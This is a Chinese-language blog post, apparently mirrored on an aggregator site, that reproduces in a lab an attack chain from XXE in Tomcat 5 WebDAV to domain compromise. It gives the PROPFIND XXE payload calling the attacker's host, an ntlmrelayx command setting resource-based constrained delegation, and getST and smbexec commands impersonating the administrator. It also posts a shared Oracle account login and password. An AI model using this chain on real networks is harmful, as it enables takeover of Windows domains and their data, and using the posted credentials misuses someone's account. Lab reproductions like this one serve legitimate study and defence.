10

XXE到域控复现(基于资源的约束委派)

 3 years ago
source link: https://y4er.com/post/xxe-to-dc-replay/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

奇安信Ateam文章地址: XXE to 域控

概述

本文主要复现该文章中XXE中继的部分,主要利用的技术为通过XXE实现NTLM中继从而添加基于资源约束委派,最后拿到webdav的TGS票据。

一是对上文《Kerberos协议之基于资源的约束委派》的一个实战场景的讲解,二是加深对于资源约束委派的理解。

环境搭建

  1. 域控DC 172.16.33.12
  2. 目标机器DM2012 172.16.33.33
  3. 攻击机Kali 172.16.33.99
  4. 一个普通域账号 [email protected]
  5. 其他机器 DM 172.16.33.8

webdav环境由jdk8u202和tomcat5.0.28

下载地址:

  1. Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
  2. JDK8u202 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
  3. Oracle账号 [email protected] 密码:Oracle123 来自 老鼠拧刀满街找猫csdn

tomcat5自带了webdav,将搭建在dm2012目标机器上。配置好JAVA_HOME的环境变量之后,通过 PsExec64.exe -i -s cmd 以system权限启动tomcat。

20201212040465.png

复现

通过OPTIONS请求探测支持的请求方式

20201212044281.png

通过PROPFIND方法触发XXE

20201212043287.png
PROPFIND /webdav/ HTTP/1.1
Host: 172.16.33.33:8080
Content-Length: 247

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE propertyupdate [
<!ENTITY loot SYSTEM "http://172.16.33.99/"> ]>
<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>
<a xmlns="http://172.16.33.99/">&loot;</a>
</D:prop></D:set></D:propertyupdate>

因为java sun.net.www.protocol.http.HttpURLConnection 类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。

而基于资源的约束委派还需要一个服务账户,我们可以通过Powermad来添加。而通过powermad添加就需要走Kerberos认证,即需要一个普通域账户Jack。

以域账户jack运行powermad添加机器账号,密码 test123
20201212040851.png

在域控上已经添加了该账户

20201212047749.png

此时我们需要通过ntlm中继实现 evilpc$dm2012$ 的传入信任关系,即设置 evilpc$dm2012$ 的资源约束委派。这个资源约束委派是在 dm2012$ 上设置的,是我们通过ntlm中继 dm2012$ 链接到域控的ldap设置的。

impacket启动ntlm中继

impacket-ntlmrelayx -t ldap://dc.test.local -debug -ip 172.16.33.99 --delegate-access --escalate-user evilpc\$

20201212042366.png

触发xxe之后中继成功修改委派。接着模拟administrator申请高权限票据,然后ptt就完事了。

python3 getST.py -dc-ip dc.test.local test/evilpc\$:test123 -spn cifs/dm2012.test.local -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k dm2012.test.local

20201212044805.png

复现过程中碰到了 [-] Exception in HTTP request handler: invalid server address 的错误,解决办法是dns解析的问题,修改 /etc/resolv.conf 加上一行 nameserver 172.16.33.12 ,让kali也能解析test.local域名就可以了。

总结

基于资源的约束委派利用条件:

evilpc$

相比于传统约束委派,信任关系的传入传出方向不同,设置的对象不同。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK